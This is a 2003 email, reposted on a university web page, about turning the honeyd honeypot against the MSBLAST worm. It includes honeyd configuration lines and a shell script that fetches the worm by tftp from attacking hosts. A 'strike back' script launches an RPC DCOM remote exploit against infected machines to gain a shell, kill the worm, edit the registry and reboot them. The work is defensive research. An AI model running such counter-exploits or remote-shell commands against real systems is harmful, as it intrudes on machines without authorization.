Center for Information Technology Integration   
Honeyd Vs MSBLAST.EXE
  
 

Honeyd Vs MSBLAST.EXE

From an email by Laurent Oudot of the Rstack team
2003-08-19

Fighting worms with honeypots: honeyd vs msblast.exe

While trying to help the community to fight the evil worm MSBLAST, i looked at my favorite honeypot, called honeyd, to check if we could not play with the worm itself (Labrea played with another worm in the past... the past should not be forgotten).

[Honeyd is a free software product by Niels Provos : http://www.citi.umich.edu/u/provos/honeyd]

As i saw a growing number of TCP requests against my honeyd (port 135) i decided to open the port (look at honeyd conf file for that) :

add template tcp port 135 open

Wooo, i got plenty of (fake) TCP sessions against this port. A tcpdump could allow to learn what was launched against this port (tcpdump -n -w 135.cap -s 1514 tcp and port 135). This could be used to analyse the virus network payload and shellcode.

Then i learned that the worm called MSBLAST wanted to get a shell over the 4444 TCP port. So i created a fake service over the TCP port 4444, to play with the worm :

add template tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"

Owing to this 4444.sh script, it was then able to begin to work with the worm itself. Almost firstable, this script 4444.sh was used to suck the worm directly from the attacker. Here is an example that i created for fun with moutane (rstack team) :

#!/bin/sh
# we create a temporary directory for each specific attacker
# to be sure we get every version on the wild
mkdir /tmp/$1-$2
cd /tmp/$1-$2
# we connect via tftp to the attacker
# and we get the msblast.exe file
tftp $1 << EOF
get msblast.exe
quit
EOF

I restarted my honeyd. Then, every hosts owned by msblast that was attacking my honeypot, first saw that the port 135 was opened. They then sent their evil payload on it, and naturally tried to launch their commands on the port 4444... I got the msblast.exe file in less than 5 minutes (internet is so evil you know...) and give it to a friend for an internal analysis in the rstack team.

Hmmm. This script (4444.sh) can easily be modified to do better things, that's what we thought about...

Imagine that the honeypot sees an Msblast attack coming from a host. That should mean that the host is infected by Msblast, right ?!

So, on an intranet, we tried to look at the possibility to automatically clean an msblast'ed host that would attack the honeypot !

To be able to do that, we would only have to launch the same attack against the attacker itself, in order to get a shell, and to kill the evil process, and so on ("use the force luke...")

Bad thing would say laws-addicted guys. True. I agree.

So the idea was to strike back only against host from our internal network, to avoid an attack against hosts that we don't manage (we filtered the traffic in the final script and on an outbound router).

[!] This idea is very dangerous, cause bad people could use that to automatically abuse infected hosts that attack them. I won't talk too much about that to avoid another black hat script kiddy wave on the net.

Here is a funny proof of concept made with VG and Moutane for a 4444.sh shell script. When an infected host attacks the honeypot, honeyd launch the script that will connect itself to the infected attacker using the RPC DCOM remote exploit made by [oc192.us], gaining a shell too ! Then it will kill the process msblast.exe, the associated files on the disk, and the will clean the registry. Remember it's a proof of concept. It will work against Windows XP hosts :

#!/bin/sh
# launch the exploit against the internal attacker
/usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF
taskkill /f /im msblast.exe /t
del /f %SystemRoot%\System32\msblast.exe
echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
 >> c:\cleaner_msblast.reg
echo "windows auto update" = "REM msblast.exe" >> c:\cleaner_msblast.reg
regedit /s c:\cleaner_msblast.reg
del /f c:\cleaner_msblast.reg
shutdown -r -f -t 0
exit
EOF

We tried it. It worked :-) Every msblasted infected hosts on our intranet, while attacking the honeypot, received a strong strike back answer, destroying the worm on it ("in your face, from downtown").

If you search something better to remove the worm, you can replace part of the script by a simple : "cscript cleaner.vbs" where cleaner.vbs could be inspired by http://www.rstack.org/oudot/cleaner.vbs.

You can also try to automatically install the patch on the infected host (look at microsoft web site for that, they propose a vbs script).

Honeyd, used like that, is more than a Honeypot, it also plays the role of a kind of IDS (who is infected) and Intrusion Prevention System...

Big thanks to moutane and vg from the team rstack for their help and ideas for the tests (infected hosts, etc).

life is short, have fun.

oudot@rstack.org
member of the team rstack http://www.rstack.org

NB: To force honeyd to answer to every hosts, launch arpd without argument, and use a honeyd config file like that :

create default
set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
set default default tcp action block
set default default udp action block
set default uid 32767 gid 32767

[Back]

 

Questions and Comments:
Niels Provos
Last modified: Fri Aug 1 21:12:20 EDT 2003
  You can keep me happy while hacking by reducing my Wishlists: Books, Music
[Get Opera!]